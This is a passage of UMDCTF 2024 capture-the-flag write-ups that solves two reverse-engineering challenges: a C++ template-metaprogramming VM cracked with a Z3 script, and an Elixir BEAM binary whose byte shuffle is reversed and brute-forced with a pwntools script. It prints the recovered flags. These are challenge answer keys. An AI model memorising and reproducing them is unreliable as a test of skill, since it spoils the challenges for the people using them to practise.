2, 2, 87, 1, 0, 3, 11, 2, 26, 1, 0, 3, 24, 2, 56, 1, 0, 3, 29, 2, 59, 1, 0, 3, 31, 2, 19, 1, 0, 3, 42, 2, 38, 1, 0, 3, 48, 2, 30, 1, 0, 3, 54, 2, 34, 1, 0, 3, 58, 2, 8, 1, 0, 4, 34093, 2, 0, 3, 0, 2, 21, 1, 0, 3, 2, 2, 44, 1, 0, 3, 13, 2, 14, 1, 0, 3, 27, 2, 57, 1, 0, 3, 34, 2, 96, 1, 0, 3, 38, 2, 64, 1, 0, 3, 41, 2, 73, 1, 0, 3, 53, 2, 66, 1, 0, 3, 59, 2, 13, 1, 0, 4, 45403, 2, 0, 3, 6, 2, 3, 1, 0, 3, 8, 2, 37, 1, 0, 3, 16, 2, 89, 1, 0, 3, 18, 2, 60, 1, 0, 3, 21, 2, 49, 1, 0, 3, 31, 2, 48, 1, 0, 3, 32, 2, 80, 1, 0, 3, 49, 2, 22, 1, 0, 3, 57, 2, 81, 1, 0, 4, 45627, 2, 0, 3, 8, 2, 64, 1, 0, 3, 9, 2, 6, 1, 0, 3, 10, 2, 29, 1, 0, 3, 24, 2, 83, 1, 0, 3, 25, 2, 91, 1, 0, 3, 26, 2, 39, 1, 0, 3, 37, 2, 11, 1, 0, 3, 39, 2, 68, 1, 0, 3, 55, 2, 28, 1, 0, 4, 38883, 2, 0, 3, 0, 2, 76, 1, 0, 3, 2, 2, 15, 1, 0, 3, 24, 2, 25, 1, 0, 3, 25, 2, 52, 1, 0, 3, 27, 2, 48, 1, 0, 3, 28, 2, 52, 1, 0, 3, 40, 2, 49, 1, 0, 3, 46, 2, 4, 1, 0, 3, 51, 2, 88, 1, 0, 4, 40359, 2, 0, 3, 11, 2, 97, 1, 0, 3, 19, 2, 31, 1, 0, 3, 32, 2, 36, 1, 0, 3, 42, 2, 100, 1, 0, 3, 48, 2, 62, 1, 0, 3, 53, 2, 61, 1, 0, 3, 59, 2, 8, 1, 0, 4, 42114, 2, 0, 3, 7, 2, 38, 1, 0, 3, 12, 2, 62, 1, 0, 3, 23, 2, 2, 1, 0, 3, 35, 2, 19, 1, 0, 3, 36, 2, 55, 1, 0, 3, 49, 2, 59, 1, 0, 3, 55, 2, 77, 1, 0, 3, 58, 2, 96, 1, 0, 4, 42052, 2, 0, 3, 1, 2, 77, 1, 0, 3, 8, 2, 50, 1, 0, 3, 9, 2, 43, 1, 0, 3, 13, 2, 68, 1, 0, 3, 36, 2, 94, 1, 0, 3, 48, 2, 57, 1, 0, 3, 58, 2, 15, 1, 0, 4, 34185, 2, 0, 3, 16, 2, 10, 1, 0, 3, 20, 2, 67, 1, 0, 3, 29, 2, 85, 1, 0, 3, 35, 2, 8, 1, 0, 3, 38, 2, 10, 1, 0, 3, 49, 2, 8, 1, 0, 3, 54, 2, 88, 1, 0, 3, 58, 2, 42, 1, 0, 3, 59, 2, 58, 1, 0, 4, 40615, 2, 0, 3, 6, 2, 97, 1, 0, 3, 14, 2, 65, 1, 0, 3, 17, 2, 27, 1, 0, 3, 27, 2, 14, 1, 0, 3, 39, 2, 81, 1, 0, 3, 44, 2, 44, 1, 0, 3, 49, 2, 22, 1, 0, 3, 59, 2, 49, 1, 0, 4, 44397, 2, 0, 3, 0, 2, 28, 1, 0, 3, 5, 2, 9, 1, 0, 3, 8, 2, 27, 1, 0, 3, 14, 2, 47, 1, 0, 3, 16, 2, 88, 1, 0, 3, 22, 2, 86, 1, 0, 3, 29, 2, 65, 1, 0, 3, 50, 2, 87, 1, 0, 4, 44320, 2, 0, 3, 3, 2, 94, 1, 0, 3, 9, 2, 83, 1, 0, 3, 24, 2, 62, 1, 0, 3, 26, 2, 9, 1, 0, 3, 27, 2, 88, 1, 0, 3, 33, 2, 51, 1, 0, 3, 41, 2, 73, 1, 0, 3, 48, 2, 43, 1, 0, 4, 43177, 2, 0, 3, 4, 2, 32, 1, 0, 3, 7, 2, 38, 1, 0, 3, 9, 2, 81, 1, 0, 3, 13, 2, 16, 1, 0, 3, 31, 2, 89, 1, 0, 3, 35, 2, 58, 1, 0, 3, 40, 2, 52, 1, 0, 3, 59, 2, 4, 1, 0, 4, 32352, 2, 0, 3, 0, 2, 45, 1, 0, 3, 3, 2, 51, 1, 0, 3, 8, 2, 30, 1, 0, 3, 9, 2, 84, 1, 0, 3, 21, 2, 51, 1, 0, 3, 43, 2, 53, 1, 0, 3, 46, 2, 22, 1, 0, 3, 52, 2, 89, 1, 0, 3, 59, 2, 61, 1, 0, 4, 42093, 2, 0, 3, 6, 2, 53, 1, 0, 3, 12, 2, 75, 1, 0, 3, 14, 2, 91, 1, 0, 3, 22, 2, 43, 1, 0, 3, 24, 2, 76, 1, 0, 3, 28, 2, 8, 1, 0, 3, 37, 2, 99, 1, 0, 3, 47, 2, 1, 1, 0, 3, 48, 2, 63, 1, 0, 4, 54628, 2, 0, 3, 5, 2, 78, 1, 0, 3, 8, 2, 55, 1, 0, 3, 13, 2, 16, 1, 0, 3, 22, 2, 92, 1, 0, 3, 38, 2, 97, 1, 0, 3, 42, 2, 16, 1, 0, 3, 51, 2, 97, 1, 0, 3, 54, 2, 41, 1, 0, 3, 56, 2, 87, 1, 0, 4, 55534, 2, 0, 3, 0, 2, 36, 1, 0, 3, 3, 2, 58, 1, 0, 3, 5, 2, 21, 1, 0, 3, 15, 2, 64, 1, 0, 3, 16, 2, 81, 1, 0, 3, 17, 2, 9, 1, 0, 3, 18, 2, 76, 1, 0, 3, 39, 2, 29, 1, 0, 3, 43, 2, 14, 1, 0, 4, 35990, 2, 0, 3, 0, 2, 16, 1, 0, 3, 2, 2, 50, 1, 0, 3, 13, 2, 49, 1, 0, 3, 18, 2, 19, 1, 0, 3, 21, 2, 89, 1, 0, 3, 24, 2, 4, 1, 0, 3, 29, 2, 66, 1, 0, 3, 32, 2, 50, 1, 0, 4, 34307, 2, 0, 3, 3, 2, 53, 1, 0, 3, 21, 2, 31, 1, 0, 3, 24, 2, 96, 1, 0, 3, 27, 2, 28, 1, 0, 3, 31, 2, 92, 1, 0, 3, 33, 2, 93, 1, 0, 3, 37, 2, 68, 1, 0, 3, 40, 2, 89, 1, 0, 4, 55625, 2, 0, 3, 2, 2, 82, 1, 0, 3, 9, 2, 85, 1, 0, 3, 10, 2, 92, 1, 0, 3, 18, 2, 59, 1, 0, 3, 38, 2, 83, 1, 0, 3, 46, 2, 17, 1, 0, 3, 53, 2, 54, 1, 0, 3, 54, 2, 18, 1, 0, 3, 58, 2, 72, 1, 0, 4, 49602, 2, 0, 3, 14, 2, 46, 1, 0, 3, 17, 2, 7, 1, 0, 3, 28, 2, 64, 1, 0, 3, 33, 2, 98, 1, 0, 3, 37, 2, 77, 1, 0, 3, 40, 2, 4, 1, 0, 3, 41, 2, 24, 1, 0, 3, 48, 2, 87, 1, 0, 3, 55, 2, 32, 1, 0, 4, 46576, 2, 0, 3, 6, 2, 50, 1, 0, 3, 7, 2, 55, 1, 0, 3, 15, 2, 91, 1, 0, 3, 24, 2, 64, 1, 0, 3, 46, 2, 10, 1, 0, 3, 47, 2, 48, 1, 0, 3, 48, 2, 54, 1, 0, 3, 53, 2, 62, 1, 0, 3, 54, 2, 92, 1, 0, 4, 54943, 2, 0, 3, 3, 2, 93, 1, 0, 3, 4, 2, 43, 1, 0, 3, 7, 2, 64, 1, 0, 3, 19, 2, 77, 1, 0, 3, 20, 2, 5, 1, 0, 3, 33, 2, 57, 1, 0, 3, 44, 2, 39, 1, 0, 3, 51, 2, 95, 1, 0, 3, 53, 2, 10, 1, 0, 4, 45823, 2, 0, 3, 0, 2, 99, 1, 0, 3, 1, 2, 65, 1, 0, 3, 2, 2, 48, 1, 0, 3, 6, 2, 80, 1, 0, 3, 17, 2, 17, 1, 0, 3, 39, 2, 43, 1, 0, 3, 46, 2, 73, 1, 0, 3, 55, 2, 96, 1, 0, 4, 51129, 2, 0, 3, 2, 2, 16, 1, 0, 3, 5, 2, 82, 1, 0, 3, 25, 2, 46, 1, 0, 3, 31, 2, 61, 1, 0, 3, 33, 2, 92, 1, 0, 3, 35, 2, 35, 1, 0, 3, 38, 2, 53, 1, 0, 3, 50, 2, 36, 1, 0, 4, 41440, 2, 0, 3, 1, 2, 89, 1, 0, 3, 3, 2, 99, 1, 0, 3, 4, 2, 44, 1, 0, 3, 17, 2, 72, 1, 0, 3, 38, 2, 91, 1, 0, 3, 40, 2, 55, 1, 0, 3, 42, 2, 2, 1, 0, 3, 46, 2, 31, 1, 0, 3, 50, 2, 54, 1, 0, 4, 51756, 2, 0, 3, 0, 2, 73, 1, 0, 3, 14, 2, 38, 1, 0, 3, 22, 2, 61, 1, 0, 3, 25, 2, 78, 1, 0, 3, 38, 2, 63, 1, 0, 3, 42, 2, 44, 1, 0, 3, 50, 2, 75, 1, 0, 3, 52, 2, 63, 1, 0, 3, 54, 2, 78, 1, 0, 4, 61162>;
 
 
int main() {
    vm_t<nil_t, prog_t, flag_t> b;
 
    b = (nil_t)b;
}

These are both huge files, so I’ll give a quick rundown. First, main.cpp is the actual file that is “run”. In this case, checking the flag involves being able to compile the file.

To compile the file, we need to ensure that vm_t<nil_t, prog_t, flag_t> is a valid type. To do so, we’ll have to take a look at templates.hpp.

VM Instructions

templates.hpp is a huge file, but from the looks of it, we seem to be working with a VM, with the large int_list_t being the instructions that the VM will execute.

Looking at templates.hpp, there are a few “instruction-like” structs:

template <typename S, typename R, typename In>
struct vm<S, cons<V<0>, R>, In>  {
    using type = typename vm<A_t<S>, R, In>::type;
};
 
template <typename S, typename R, typename In>
struct vm<S, cons<V<1>, R>, In>  {
    using type = typename vm<M_t<S>, R, In>::type;
};
 
template <typename S, int PV, typename R, typename In>
struct vm<S, cons<V<2>, cons<V<PV>, R>>, In>  {
    using type = typename vm<P_t<PV, S>, R, In>::type;
};
 
template <typename S, int N, typename R, typename In>
struct vm<S, cons<V<3>, cons<V<N>, R>>, In> {
    using type = typename vm<cons<V<g<N, In>::value>, S>, R, In>::type;
};
 
template <typename S, int PV, typename R, typename In>
struct vm<S, cons<V<4>, cons<V<PV>, R>>, In>  {
    using type = typename vm<T_t<PV, S>, R, In>::type;
};

These seem to check the first element of the instruction list, execute the corresponding instruction, then move on to the next instruction.

Here are the actual instructions. First, we have an addition instruction mapped to 0 that pops the top two elements off the stack and pushes their sum:

template <typename S>
struct A;
 
template <int a, int b, typename rest>
struct A<cons<V<a>, cons<V<b>, rest>>> {
    using type = cons<V<a + b>, rest>;
};
 
template <typename S>
using A_t = typename A<S>::type;
 
template <typename S, typename R, typename In>
struct vm<S, cons<V<0>, R>, In>  {
    using type = typename vm<A_t<S>, R, In>::type;
};

Next, we have a multiplication instruction mapped to 1, which pops the top two elements off the stack and pushes their product:

template <typename S>
struct M;
 
template <int a, int b, typename rest>
struct M<cons<V<a>, cons<V<b>, rest>>> {
    using type = cons<V<a * b>, rest>;
};
 
template <typename S>
using M_t = typename M<S>::type;
 
template <typename S, typename R, typename In>
struct vm<S, cons<V<1>, R>, In>  {
    using type = typename vm<M_t<S>, R, In>::type;
};

Then, we have an instruction that pushes a literal onto the stack. The literal that is pushed is the second element of the instruction list:

template <int v, typename S>
struct P {
    using type = cons<V<v>, S>;
};
 
template <int v, typename S>
using P_t = typename P<v, S>::type;
 
template <typename S, int PV, typename R, typename In>
struct vm<S, cons<V<2>, cons<V<PV>, R>>, In>  {
    using type = typename vm<P_t<PV, S>, R, In>::type;
};

Next, we have an instruction that gets the value of the Nth element of the input list and pushes it onto the stack. It recursively reads the first element of the input list N times, until it reaches the Nth element where it will return that value:

template <int i, typename T>
struct g;
 
template <int v, typename R>
struct g<0, cons<V<v>, R>> {
    static const constexpr int value = v;
};
 
template <int N, typename X, typename R>
struct g<N, cons<X, R>> {
    static const constexpr int value = g<N-1, R>::value;
};
 
template <typename S, int N, typename R, typename In>
struct vm<S, cons<V<3>, cons<V<N>, R>>, In> {
    using type = typename vm<cons<V<g<N, In>::value>, S>, R, In>::type;
};

Finally, we have an instruction that checks if the top element of the stack is equal to argument. This check uses std::enable_if, so if the element is not equal, the program will terminate and thus the file cannot be compiled:

template <int v, typename S>
struct T;
 
template <int v, int v_, typename R>
struct T<v, cons<V<v_>, R>> {
    using type = std::enable_if_t<v == v_, R>;
};
 
template <int v, typename S>
using T_t = typename T<v, S>::type;
 
template <typename S, int PV, typename R, typename In>
struct vm<S, cons<V<4>, cons<V<PV>, R>>, In>  {
    using type = typename vm<T_t<PV, S>, R, In>::type;
};

Skimming over the instructions, we can see that it seems to basically taking linear combinations of the input list and checking if it equals a certain value.

We can then simply write a script that parses out these equations and solves them using Z3 (or linear algebra but Z3 is easier).

Solution

Here was my solution:

# data = [ list of the instructions copied from the file ]
from z3 import *
 
flag = [Int(f'flag_{i}') for i in range(60)]
 
eqs = []
stack = []
i = 0
while i < len(data):
    if data[i] == 0:
        stack.append(stack.pop() + stack.pop())
    elif data[i] == 1:
        stack.append(stack.pop() * stack.pop())
    elif data[i] == 2:
        stack.append(data[i + 1])
        i += 1
    elif data[i] == 3:
        stack.append(flag[data[i + 1]])
        i += 1
    elif data[i] == 4:
        eqs.append(data[i + 1] == stack.pop())
        i += 1
    i += 1
 
s = Solver()
s.add(eqs)
 
print(s.check())
m = s.model()
print(''.join([chr(m[flag[i]].as_long()) for i in range(60)]))

Running gives us the flag:

sat
UMDCTF{c++_templates_are_the_reason_for_the_butlerian_jihad}

Flavors

rev/Flavors - edwfeng - 19 solves / 485 points

ah, elixirs, the sweet liquid flavor that brings a little spice to my life

desired output is AD38A5970B000E1500041F0B00011617AA85109204082D1485040326051D13012716BF081189AB990E2D0F182CA824

This time, we’re only given Elixir.Flavors.beam, a compiled BEAM file. We can run it using the Elixir shell:

$ iex
Erlang/OTP 26 [erts-14.2] [source] [64-bit] [smp:16:16] [ds:16:16:10] [async-threads:1] [jit:ns]
 
Interactive Elixir (1.17.0-dev) - press Ctrl+C to exit (type h() ENTER for help)
iex(1)> Flavors.
a/1       b/1       c/4       main/0    y/1       y/2       z/0
iex(1)> Flavors.main
Flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
** (RuntimeError) oh no
    flavors.ex:15: Flavors.a/1
    flavors.ex:19: Flavors.a/1
    flavors.ex:23: Flavors.a/1
    flavors.ex:19: Flavors.a/1
    flavors.ex:23: Flavors.a/1
    flavors.ex:19: Flavors.a/1
    flavors.ex:23: Flavors.a/1
    iex:1: (file)

Without peaking too hard into the disassembly, we see that main gets our input, creates a map using that input, then calls a/1, then b/1, and then prints some result.

   {:function, :main, 0, 24,
    [
      {:line, 13},
      {:label, 23},
      {:func_info, {:atom, Flavors}, {:atom, :main}, 0},
      {:label, 24},
      {:allocate, 0, 0},
      {:move, {:literal, "Flag: "}, {:x, 0}},
      {:line, 14},
      {:call_ext, 1, {:extfunc, IO, :gets, 1}},
      {:call_ext, 1, {:extfunc, String, :trim, 1}},
      {:put_map_assoc, {:f, 0}, {:literal, %{}}, {:x, 0}, 1,
       {:list, [atom: :i, integer: 0, atom: :in, x: 0]}},
      {:call, 1, {Flavors, :a, 1}},
      {:line, 15},
      {:call, 1, {Flavors, :b, 1}},
      {:line, 16},
      {:call_ext_last, 1, {:extfunc, IO, :puts, 1}, 0}
    ]},

At the start of a/1, there’s a check to make sure the map has 47 elements:

   {:function, :a, 1, 11,
    [
      {:line, 1},
      {:label, 10},
      {:func_info, {:atom, Flavors}, {:atom, :a}, 1},
      {:label, 11},
      {:test, :is_map, {:f, 10}, [x: 0]},
      {:get_map_elements, {:f, 12}, {:tr, {:x, 0}, {:t_map, :any, :any}},
       {:list, [atom: :in, x: 2, atom: :i, x: 1]}},
      {:test, :is_eq_exact, {:f, 12}, [x: 1, integer: 47]},
    ...

This means our input has to be 47 characters long, which matches the fact that the desired output is 94 = 47 * 2 characters long.

Let’s see what happens when we run the program with a 47 character input:

iex(1)> Flavors.main
Flag: UMDCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
AD38A5972EA92EA2A928A22428222FAA2D312C312FABAA14A22824A828A9A22EA92E3122A1312C312DAA2F222CA824
:ok

Great, now we’re actually getting a response. Here’s what it looks like lined up with the desired output:

AD38A5970B000E1500041F0B00011617AA85109204082D1485040326051D13012716BF081189AB990E2D0F182CA824

AD38A5972EA92EA2A928A22428222FAA2D312C312FABAA14A22824A828A9A22EA92E3122A1312C312DAA2F222CA824

Notice how the first 8 characters are the same, as well as the last 6. This corresponds to the flag format we’ve put in, which is 7 characters, since 7 * 2 = 14 = 8 + 6 hex characters.

This means that at some point, our input is being shuffled around.

The next step requires a bit of intuition. We know we have 7 correct characters, and 4 correct at the start and 3 in the back. By inputting in more guesses, we can see that it takes one character at a time, puts it at the start, then takes the next character and prepends it to the end.

iex(1)> Flavors.main
Flag: UMDCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
AD38A5972EA92EA2A928A22428222FAA2D312C312FABAA14A22824A828A9A22EA92E3122A1312C312DAA2F222CA824
:ok
iex(2)> Flavors.main
Flag: UMDCTFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
AD38A5312EA92EA2A928A22428222FAA2D312C312FABAA14A22824A828A9A22EA92E3122A1312C312DAA2F222CA824
:ok
iex(3)> Flavors.main
Flag: AMDCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
2C38A5972EA92EA2A928A22428222FAA2D312C312FABAA14A22824A828A9A22EA92E3122A1312C312DAA2F222CA824
:ok
iex(4)> Flavors.main
Flag: UADCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
AD38A5972EA92EA2A928A22428222FAA2D312C312FABAA14A22824A828A9A22EA92E3122A1312C312DAA2F222CA828
:ok

Here is a reimplementation in Python:

def shuffle(data):
    left = []
    right = []
    for i, c in enumerate(data):
        if i % 2 == 0:
            left.append(c)
        else:
            right.insert(0, c)
    return bytes(left + right)

Then all we have to do is unshuffle the output and brute force each character until we get the flag:

from pwn import process
from tqdm import tqdm
 
enc = bytes.fromhex('AD38A5970B000E1500041F0B00011617AA85109204082D1485040326051D13012716BF081189AB990E2D0F182CA824')
 
def run(input):
    p = process(["elixir", "-e", "Flavors.main"], level='error')
    p.sendlineafter(b'Flag: ', input.encode())
    dat = bytes.fromhex(p.recvline().strip().decode())
    p.close()
    return dat
 
def shuffle(data):
    left = []
    right = []
    for i, c in enumerate(data):
        if i % 2 == 0:
            left.append(c)
        else:
            right.insert(0, c)
    return bytes(left + right)
 
def unshuffle(data):
    mid = len(data) // 2
    left = data[:mid]
    right = data[mid:][::-1]
    out = []
    for i in range(mid):
        out.append(left[i])
        out.append(right[i])
    out.append(right[-1])
    return bytes(out)
 
# test = run('UMDCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}')
enc = unshuffle(enc)
 
known = '?' * 47
alphabet = '_{}abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ?!@#$%^&*()'
flag = ['' for _ in range(47)]
 
for c in tqdm(alphabet):
    test = known.replace('?', c)
    test = run(test)
    test = unshuffle(test)
    for i in range(47):
        if test[i] == enc[i]:
            flag[i] = c
            
 
print(''.join(flag))

$ python solve.py
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 76/76 [00:49<00:00,  1.54it/s]
UMDCTF{what_about_melange_but_in_elixir_form_?}

UMDCTF 2024 Writeups

Table of Contents

Pwn